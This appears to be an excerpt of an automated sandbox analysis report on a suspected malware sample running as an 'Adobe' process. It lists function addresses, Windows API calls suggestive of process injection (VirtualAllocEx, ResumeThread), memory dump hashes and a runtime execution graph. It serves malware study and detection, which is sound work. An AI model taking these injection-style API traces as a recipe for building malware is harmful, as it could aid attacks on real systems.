                                                                                                                              • Source File: 00000003.00000002.1748949711.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_3_2_7cc0000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: AllocVirtual
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 4275171209-0
                                                                                                                              • Opcode ID: a0fcffb65bf41e3536c35773226808eb94511c2132a67456bbf82cdbbad115b4
                                                                                                                              • Instruction ID: 7b5d01e68ddc984b6361880c46998c875dc7d67ba4f0271c029f4dce51d31724
                                                                                                                              • Opcode Fuzzy Hash: a0fcffb65bf41e3536c35773226808eb94511c2132a67456bbf82cdbbad115b4
                                                                                                                              • Instruction Fuzzy Hash: 841144B19002498FDB14DFA9C844ADEBFF1EF88324F20881AE559AB250C7359954CFA4
                                                                                                                              Function 07CC43D0 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 07CC443E
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000003.00000002.1748949711.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_3_2_7cc0000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: AllocVirtual
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 4275171209-0
                                                                                                                              • Opcode ID: 5c5e6a45dda625d002d3ecfa3f6a0b5f3defdd7cf1394172ab70a875f662545c
                                                                                                                              • Instruction ID: 16965a19c9b0730103abe6727b3b5b9fbcd2fb1a578f3f9a7ca585ab315f8693
                                                                                                                              • Opcode Fuzzy Hash: 5c5e6a45dda625d002d3ecfa3f6a0b5f3defdd7cf1394172ab70a875f662545c
                                                                                                                              • Instruction Fuzzy Hash: AA1167B18002499FCB10DFAAC844BDEBFF5EF88324F208819E519AB250C735A554CFA0
                                                                                                                              Function 07CC6FB8 Relevance: 1.6, APIs: 1, Instructions: 50windowCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • PostMessageW.USER32(?,00000010,00000000,?), ref: 07CC701D
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000003.00000002.1748949711.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_3_2_7cc0000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: MessagePost
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 410705778-0
                                                                                                                              • Opcode ID: 0b3a67cb1735037f500cbcfe1b45e86de7424a5a86c7d27e05b0f3d7947607b2
                                                                                                                              • Instruction ID: b6dcaef476809ce0b2cceb1da92ed9146b79f11f9645aad1ef6b7efe19205da7
                                                                                                                              • Opcode Fuzzy Hash: 0b3a67cb1735037f500cbcfe1b45e86de7424a5a86c7d27e05b0f3d7947607b2
                                                                                                                              • Instruction Fuzzy Hash: 7811E3B58002499FDB10DF9AD885BDEFFF8EB48320F10841AD555A7610C375A984CFA1
                                                                                                                              Function 07CC4248 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000003.00000002.1748949711.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_3_2_7cc0000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ResumeThread
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 947044025-0
                                                                                                                              • Opcode ID: 97b957b0599bf78dedc38ea2006f77f072ef2c93572f38506a8d166625ad7744
                                                                                                                              • Instruction ID: a02d7e80f195be478d05beb664cba813ceee9fc4eb8e401cc3fb72d3838c5e74
                                                                                                                              • Opcode Fuzzy Hash: 97b957b0599bf78dedc38ea2006f77f072ef2c93572f38506a8d166625ad7744
                                                                                                                              • Instruction Fuzzy Hash: 451125B19002498BDB24DFAAC4457DEFFF4AB88324F248829D459A7250CA75A944CFA4
                                                                                                                              Function 0174EED8 Relevance: 1.5, APIs: 1, Instructions: 47COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetModuleHandleW.KERNELBASE(00000000), ref: 0174EF3E
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000003.00000002.1742662059.0000000001740000.00000040.00000800.00020000.00000000.sdmp, Offset: 01740000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_3_2_1740000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: HandleModule
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 4139908857-0
                                                                                                                              • Opcode ID: ed7a627fa2d29a70b8fa16054c087884f5be536b0a2e5eb39fe6d5cf7ffa5bf8
                                                                                                                              • Instruction ID: 100d5862154688f238d4ba93e78893642011e0c3e6c6d6c9b89af245294e792a
                                                                                                                              • Opcode Fuzzy Hash: ed7a627fa2d29a70b8fa16054c087884f5be536b0a2e5eb39fe6d5cf7ffa5bf8
                                                                                                                              • Instruction Fuzzy Hash: CE111DB6C002498FDB10CF9AC444ADEFBF4AF88324F14842AD929A7210C379A545CFA1
                                                                                                                              Function 07CC3518 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • PostMessageW.USER32(?,00000010,00000000,?), ref: 07CC701D
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000003.00000002.1748949711.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_3_2_7cc0000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: MessagePost
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 410705778-0
                                                                                                                              • Opcode ID: bcb376bf9c1d515ed9077f8fe173cf08246540be14e90997ac07c3a2c297bfa6
                                                                                                                              • Instruction ID: 8a9a2857937fd4bf623678ae3970fef89856d6217e67a46a8450fa666d09b73a
                                                                                                                              • Opcode Fuzzy Hash: bcb376bf9c1d515ed9077f8fe173cf08246540be14e90997ac07c3a2c297bfa6
                                                                                                                              • Instruction Fuzzy Hash: 101103B5800349DFDB20DF9AC985BDEFBF8EB48320F148419E959A7210C375A984CFA5
                                                                                                                              Function 079A412D Relevance: 1.3, APIs: 1, Instructions: 57COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,079A49B9,?,?), ref: 079A4B60
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000003.00000002.1748664525.00000000079A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079A0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_3_2_79a0000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: CloseHandle
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2962429428-0
                                                                                                                              • Opcode ID: a091c88526f55d0058e8aa6a37354905d12b6f48411823168cad862853ac49f0
                                                                                                                              • Instruction ID: 7735031312493cb3afbed7750787d6b1e93609079b4e19254ce6f1c42fc9ce07
                                                                                                                              • Opcode Fuzzy Hash: a091c88526f55d0058e8aa6a37354905d12b6f48411823168cad862853ac49f0
                                                                                                                              • Instruction Fuzzy Hash: 681186B58053989FCB10DFA9C444BDEBFF4EB48320F10845AD494AB251C378A644CFA4
                                                                                                                              Function 079A4B00 Relevance: 1.3, APIs: 1, Instructions: 51COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,079A49B9,?,?), ref: 079A4B60
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000003.00000002.1748664525.00000000079A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079A0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_3_2_79a0000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: CloseHandle
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2962429428-0
                                                                                                                              • Opcode ID: 3b55433063afba27082b1d1fb203bb12f931be1e47d2e103e05145698a6bd685
                                                                                                                              • Instruction ID: 25cb0cd3714fa03b512d922a7e1db38137b2b9618c05c5fb1ffe2f8fb968f6d5
                                                                                                                              • Opcode Fuzzy Hash: 3b55433063afba27082b1d1fb203bb12f931be1e47d2e103e05145698a6bd685
                                                                                                                              • Instruction Fuzzy Hash: 5F1155B6800349DFDB20DF99C445BDEFBF4EB48320F10841AD958A7251C378A584CFA5
                                                                                                                              Function 079A413C Relevance: 1.3, APIs: 1, Instructions: 50COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,079A49B9,?,?), ref: 079A4B60
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000003.00000002.1748664525.00000000079A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079A0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_3_2_79a0000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: CloseHandle
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2962429428-0
                                                                                                                              • Opcode ID: e815cd279160d90264107bcf56608a1e68f766bdb94ed3c11d718d5c24cb7a08
                                                                                                                              • Instruction ID: 84f1864b379e0bd5579d9dd7ad96a96c91e8c6bf75f0a1a6dc09be0966a2d905
                                                                                                                              • Opcode Fuzzy Hash: e815cd279160d90264107bcf56608a1e68f766bdb94ed3c11d718d5c24cb7a08
                                                                                                                              • Instruction Fuzzy Hash: A11125B1800349DFDB20DF9AC544BDEBBF4EB48324F148419D959A7350D778A944CFA5
                                                                                                                              Function 014BD1B0 Relevance: .1, Instructions: 75COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000003.00000002.1741410848.00000000014BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 014BD000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_3_2_14bd000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: b9d2f4a0b499f73b4bce86fc661558c05bd0b1700f1046f5ba48ea1a3dee0241
                                                                                                                              • Instruction ID: 3e10d287c666f0c438c6b5ad58ae925b41ad417f02da1e571e388b2be54dbaeb
                                                                                                                              • Opcode Fuzzy Hash: b9d2f4a0b499f73b4bce86fc661558c05bd0b1700f1046f5ba48ea1a3dee0241
                                                                                                                              • Instruction Fuzzy Hash: 7C212871904240DFDB09DF98D9C0B67BF65FB88328F24C5AAD9094B366C336D456C6B1
                                                                                                                              Function 014CD1E4 Relevance: .1, Instructions: 72COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000003.00000002.1741534220.00000000014CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 014CD000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_3_2_14cd000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: fd05378aedacce42454a4f391e93fb51c729f78cf877a1055bab1a9fc97b75ea
                                                                                                                              • Instruction ID: bccab2fc4df18dfa6dfbdb80d37a8f7b957fdfa450a4dd368c8e8b9dfab5885c
                                                                                                                              • Opcode Fuzzy Hash: fd05378aedacce42454a4f391e93fb51c729f78cf877a1055bab1a9fc97b75ea
                                                                                                                              • Instruction Fuzzy Hash: BB210779904300EFDB45DF98D9C0B26BB66FB84724F20C5BED84A4B366C376D446CAA1
                                                                                                                              Function 014CD39C Relevance: .1, Instructions: 72COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000003.00000002.1741534220.00000000014CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 014CD000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_3_2_14cd000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 8efe9ed15731b9b1ac1cdefe8b6115ce409556dad2c6047815fc9f63fe6d4a4b
                                                                                                                              • Instruction ID: 7c466814c271cda232c0510f74b64db4b45c51aaf26de7a500e7f9115bca3a01
                                                                                                                              • Opcode Fuzzy Hash: 8efe9ed15731b9b1ac1cdefe8b6115ce409556dad2c6047815fc9f63fe6d4a4b
                                                                                                                              • Instruction Fuzzy Hash: 15212579900200DFCB41DF58D5C4B26FBA5EB84B14F20C57EDA094B3A6C336E446CAA1
                                                                                                                              Function 014BD1AB Relevance: .1, Instructions: 56COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000003.00000002.1741410848.00000000014BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 014BD000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_3_2_14bd000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
                                                                                                                              • Instruction ID: 2b650389d5be159d5be9e4a50132148bfb6014815dbf1a9f15dbe55b1308c8e0
                                                                                                                              • Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
                                                                                                                              • Instruction Fuzzy Hash: 9A11AF76904280CFDB16CF54D9C4B56BF62FB84328F24C5AAD9094B266C336D45ACBA1
                                                                                                                              Function 014CD1DF Relevance: .1, Instructions: 53COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000003.00000002.1741534220.00000000014CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 014CD000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_3_2_14cd000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
                                                                                                                              • Instruction ID: 439f3dada7113ed30e341efb6e2e2503a3d79de1e4d3709a29c2c976cc6683f5
                                                                                                                              • Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
                                                                                                                              • Instruction Fuzzy Hash: 68118E79904240DFDB06CF54D5C4B16BF62FB44624F24C6AED8494B766C33AD44ACB91
                                                                                                                              Function 014CD397 Relevance: .1, Instructions: 53COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000003.00000002.1741534220.00000000014CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 014CD000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_3_2_14cd000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
                                                                                                                              • Instruction ID: 0b92cbc982beb53bba8ab5ab3099bfb8750f7401f9b9c9d8e3db2c44b0eabd42
                                                                                                                              • Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
                                                                                                                              • Instruction Fuzzy Hash: 8C11AC799042409FDB02CF54D5C4B56FB61FB84618F24C6AED9494B366C33AE44ACB91
                                                                                                                              Function 014BD7F9 Relevance: .0, Instructions: 45COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000003.00000002.1741410848.00000000014BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 014BD000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_3_2_14bd000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 8d183a13d8aea19b75791c93d69e3eee34d8ef4c814fa53dda2dfa50ff3c2642
                                                                                                                              • Instruction ID: e4e03b27e44260adfe323099287db7830f1a24f0feace7d7152b296442ba6357
                                                                                                                              • Opcode Fuzzy Hash: 8d183a13d8aea19b75791c93d69e3eee34d8ef4c814fa53dda2dfa50ff3c2642
                                                                                                                              • Instruction Fuzzy Hash: 270120318043009AE7115A5ACDC47A7BFD8DF45739F18C56BED1C0B2A6C235D440C6B1
                                                                                                                              Function 014BD7F8 Relevance: .0, Instructions: 36COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000003.00000002.1741410848.00000000014BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 014BD000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_3_2_14bd000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 5a34b61fd17ce791e975667dcc6d9584d4f2a1281ed060b208bc9e89bfa416ff
                                                                                                                              • Instruction ID: 6e0375713ba697f37f82e2ca6e2ca16380b29f764babb4ad2f0380131db99611
                                                                                                                              • Opcode Fuzzy Hash: 5a34b61fd17ce791e975667dcc6d9584d4f2a1281ed060b208bc9e89bfa416ff
                                                                                                                              • Instruction Fuzzy Hash: 70F062718043449AE7118A1ADCC4BA3FFA8EF41639F18C55BED1C4B296C2799844CAB1

                                                                                                                              Non-executed Functions

                                                                                                                              Function 05BC193B Relevance: 6.1, APIs: 4, Instructions: 129threadCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetCurrentProcess.KERNEL32 ref: 05BC19BE
                                                                                                                              • GetCurrentThread.KERNEL32 ref: 05BC19FB
                                                                                                                              • GetCurrentProcess.KERNEL32 ref: 05BC1A38
                                                                                                                              • GetCurrentThreadId.KERNEL32 ref: 05BC1A91
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000003.00000002.1747158020.0000000005BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_3_2_5bc0000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Current$ProcessThread
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2063062207-0
                                                                                                                              • Opcode ID: e8a4240c8fbecf9ad335080c72b79003b7cf7e2891a6d425e49d6017645b9249
                                                                                                                              • Instruction ID: 5ae16e322091bdc22103b4af8c4d86e7998270fb11fe492521b137b744cf0833
                                                                                                                              • Opcode Fuzzy Hash: e8a4240c8fbecf9ad335080c72b79003b7cf7e2891a6d425e49d6017645b9249
                                                                                                                              • Instruction Fuzzy Hash: 775123B09012498FDB14DFAAD588BEEBFF1AB48314F208459E019B7361D734A984CB65
                                                                                                                              Function 05BC1940 Relevance: 6.1, APIs: 4, Instructions: 128threadCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetCurrentProcess.KERNEL32 ref: 05BC19BE
                                                                                                                              • GetCurrentThread.KERNEL32 ref: 05BC19FB
                                                                                                                              • GetCurrentProcess.KERNEL32 ref: 05BC1A38
                                                                                                                              • GetCurrentThreadId.KERNEL32 ref: 05BC1A91
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000003.00000002.1747158020.0000000005BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_3_2_5bc0000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Current$ProcessThread
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2063062207-0
                                                                                                                              • Opcode ID: 85a01a4fee5499c10b1d6f23ba642231653948db5a3b79cd9cab2bdd8a189907
                                                                                                                              • Instruction ID: ddf0974dd16564bc7b79b6e0b241306d7bd497dbde2bafd9008a395324af0bd1
                                                                                                                              • Opcode Fuzzy Hash: 85a01a4fee5499c10b1d6f23ba642231653948db5a3b79cd9cab2bdd8a189907
                                                                                                                              • Instruction Fuzzy Hash: AC5134B09012498FDB14DFAAD548BEEBFF1BB48314F208459E019B7361D734A884CF65

                                                                                                                              Execution Graph

                                                                                                                              Execution Coverage:2.7%
                                                                                                                              Dynamic/Decrypted Code Coverage:100%
                                                                                                                              Signature Coverage:0%
                                                                                                                              Total number of Nodes:1659
                                                                                                                              Total number of Limit Nodes:5
                                                                                                                              execution_graph 6778 10007a80 6779 10007a8d 6778->6779 6780 1000637b _free 20 API calls 6779->6780 6781 10007aa7 6780->6781 6782 1000571e _free 20 API calls 6781->6782 6783 10007ab3 6782->6783 6784 1000637b _free 20 API calls 6783->6784 6788 10007ad9 6783->6788 6785 10007acd 6784->6785 6787 1000571e _free 20 API calls 6785->6787 6786 10005eb7 11 API calls 6786->6788 6787->6788 6788->6786 6789 10007ae5 6788->6789 7218 10007103 GetCommandLineA GetCommandLineW 7219 10005303 7222 100050a5 7219->7222 7231 1000502f 7222->7231 7225 1000502f 5 API calls 7226 100050c3 7225->7226 7227 10005000 20 API calls 7226->7227 7228 100050ce 7227->7228 7229 10005000 20 API calls 7228->7229 7230 100050d9 7229->7230 7232 10005048 7231->7232 7233 10002ada _ValidateLocalCookies 5 API calls 7232->7233 7234 10005069 7233->7234 7234->7225 6790 10009c88 6791 10009c95 6790->6791 6792 10009ca9 6791->6792 6793 10009ccd 6791->6793 6801 10009cc0 6791->6801 6794 10009cb0 6792->6794 6795 10009cc4 6792->6795 6793->6801 6802 10006368 _free 20 API calls 6793->6802 6797 10006368 _free 20 API calls 6794->6797 6798 10006332 __dosmaperr 20 API calls 6795->6798 6796 10002ada _ValidateLocalCookies 5 API calls 6799 10009d15 6796->6799 6800 10009cb5 6797->6800 6798->6801 6804 10006355 __dosmaperr 20 API calls 6800->6804 6801->6796 6803 10009cf2 6802->6803 6805 10006355 __dosmaperr 20 API calls 6803->6805 6804->6801 6805->6801 6806 10008a89 6809 10006d60 6806->6809 6810 10006d69 6809->6810 6811 10006d72 6809->6811 6813 10006c5f 6810->6813 6814 10005af6 _abort 38 API calls 6813->6814 6815 10006c6c 6814->6815 6816 10006d7e 38 API calls 6815->6816 6817 10006c74 6816->6817 6833 100069f3 6817->6833 6824 1000571e _free 20 API calls 6826 10006c8b 6824->6826 6825 10006cc9 6828 10006368 _free 20 API calls 6825->6828 6826->6811 6827 10006ce6 6829 10006d12 6827->6829 6830 1000571e _free 20 API calls 6827->6830 6832 10006cce 6828->6832 6829->6832 6857 100068c9 6829->6857 6830->6829 6832->6824 6834 100054a7 38 API calls 6833->6834 6835 10006a05 6834->6835 6836 10006a14 GetOEMCP 6835->6836 6837 10006a26 6835->6837 6838 10006a3d 6836->6838 6837->6838 6839 10006a2b GetACP 6837->6839 6838->6826 6840 100056d0 6838->6840 6839->6838 6841 1000570e 6840->6841 6845 100056de _free 6840->6845 6842 10006368 _free 20 API calls 6841->6842 6844 1000570c 6842->6844 6843 100056f9 RtlAllocateHeap 6843->6844 6843->6845 6844->6832 6847 10006e20 6844->6847 6845->6841 6845->6843 6846 1000474f _free 7 API calls 6845->6846 6846->6845 6848 100069f3 40 API calls 6847->6848 6849 10006e3f 6848->6849 6852 10006e90 IsValidCodePage 6849->6852 6854 10006e46 6849->6854 6856 10006eb5 ___scrt_fastfail 6849->6856 6850 10002ada _ValidateLocalCookies 5 API calls 6851 10006cc1 6850->6851 6851->6825 6851->6827 6853 10006ea2 GetCPInfo 6852->6853 6852->6854 6853->6854 6853->6856 6854->6850 6860 10006acb GetCPInfo 6856->6860 6933 10006886 6857->6933 6859 100068ed 6859->6832 6861 10006baf 6860->6861 6867 10006b05 6860->6867 6864 10002ada _ValidateLocalCookies 5 API calls 6861->6864 6866 10006c5b 6864->6866 6866->6854 6870 100086e4 6867->6870 6869 10008a3e 43 API calls 6869->6861 6871 100054a7 38 API calls 6870->6871 6872 10008704 MultiByteToWideChar 6871->6872 6874 10008742 6872->6874 6881 100087da 6872->6881 6878 100056d0 21 API calls 6874->6878 6882 10008763 ___scrt_fastfail 6874->6882 6875 10002ada _ValidateLocalCookies 5 API calls 6876 10006b66 6875->6876 6884 10008a3e 6876->6884 6877 100087d4 6889 10008801 6877->6889 6878->6882 6880 100087a8 MultiByteToWideChar 6880->6877 6883 100087c4 GetStringTypeW 6880->6883 6881->6875 6882->6877 6882->6880 6883->6877 6885 100054a7 38 API calls 6884->6885 6886 10008a51 6885->6886 6893 10008821 6886->6893 6890 1000880d 6889->6890 6891 1000881e 6889->6891 6890->6891 6892 1000571e _free 20 API calls 6890->6892 6891->6881 6892->6891 6895 1000883c 6893->6895 6894 10008862 MultiByteToWideChar 6896 10008a16 6894->6896 6897 1000888c 6894->6897 6895->6894 6898 10002ada _ValidateLocalCookies 5 API calls 6896->6898 6900 100056d0 21 API calls 6897->6900 6903 100088ad 6897->6903 6899 10006b87 6898->6899 6899->6869 6900->6903 6901 100088f6 MultiByteToWideChar 6902 10008962 6901->6902 6904 1000890f 6901->6904 6906 10008801 __freea 20 API calls 6902->6906 6903->6901 6903->6902 6920 10005f19 6904->6920 6906->6896 6908 10008971 6910 100056d0 21 API calls 6908->6910 6914 10008992 6908->6914 6909 10008939 6909->6902 6912 10005f19 11 API calls 6909->6912 6910->6914 6911 10008a07 6913 10008801 __freea 20 API calls 6911->6913 6912->6902 6913->6902 6914->6911 6915 10005f19 11 API calls 6914->6915 6916 100089e6 6915->6916 6916->6911 6917 100089f5 WideCharToMultiByte 6916->6917 6917->6911 6918 10008a35 6917->6918 6919 10008801 __freea 20 API calls 6918->6919 6919->6902 6921 10005c45 _free 5 API calls 6920->6921 6922 10005f40 6921->6922 6923 10005f49 6922->6923 6928 10005fa1 6922->6928 6926 10002ada _ValidateLocalCookies 5 API calls 6923->6926 6927 10005f9b 6926->6927 6927->6902 6927->6908 6927->6909 6929 10005c45 _free 5 API calls 6928->6929 6930 10005fc8 6929->6930 6931 10002ada _ValidateLocalCookies 5 API calls 6930->6931 6932 10005f89 LCMapStringW 6931->6932 6932->6923 6934 10006892 ___scrt_is_nonwritable_in_current_image 6933->6934 6941 10005671 RtlEnterCriticalSection 6934->6941 6936 1000689c 6942 100068f1 6936->6942 6940 100068b5 _abort 6940->6859 6941->6936 6954 10007011 6942->6954 6944 1000693f 6945 10007011 26 API calls 6944->6945 6946 1000695b 6945->6946 6947 10007011 26 API calls 6946->6947 6948 10006979 6947->6948 6949 100068a9 6948->6949 6950 1000571e _free 20 API calls 6948->6950 6951 100068bd 6949->6951 6950->6949 6968 100056b9 RtlLeaveCriticalSection 6951->6968 6953 100068c7 6953->6940 6955 10007022 6954->6955 6964 1000701e 6954->6964 6956 10007029 6955->6956 6960 1000703c ___scrt_fastfail 6955->6960 6957 10006368 _free 20 API calls 6956->6957 6958 1000702e 6957->6958 6959 100062ac _abort 26 API calls 6958->6959 6959->6964 6961 10007073 6960->6961 6962 1000706a 6960->6962 6960->6964 6961->6964 6966 10006368 _free 20 API calls 6961->6966 6963 10006368 _free 20 API calls 6962->6963 6965 1000706f 6963->6965 6964->6944 6967 100062ac _abort 26 API calls 6965->6967 6966->6965 6967->6964 6968->6953 6969 1000508a 6970 100050a2 6969->6970 6971 1000509c 6969->6971 6972 10005000 20 API calls 6971->6972 6972->6970 6068 1000220c 6069 10002215 6068->6069 6070 1000221a dllmain_dispatch 6068->6070 6072 100022b1 6069->6072 6073 100022c7 6072->6073 6075 100022d0 6073->6075 6076 10002264 GetSystemTimeAsFileTime GetCurrentThreadId GetCurrentProcessId QueryPerformanceCounter 6073->6076 6075->6070 6076->6075 6973 10003c90 RtlUnwind 6077 10002418 6078 10002420 ___scrt_release_startup_lock 6077->6078 6081 100047f5 6078->6081 6080 10002448 6082 10004804 6081->6082 6083 10004808 6081->6083 6082->6080 6086 10004815 6083->6086 6087 10005b7a _free 20 API calls 6086->6087 6090 1000482c 6087->6090 6088 10002ada _ValidateLocalCookies 5 API calls 6089 10004811 6088->6089 6089->6080 6090->6088 6974 10004a9a 6977 10005411 6974->6977 6978 1000541d _abort 6977->6978 6979 10005af6 _abort 38 API calls 6978->6979 6982 10005422 6979->6982 6980 100055a8 _abort 38 API calls 6981 1000544c 6980->6981 6982->6980 7626 1000679a 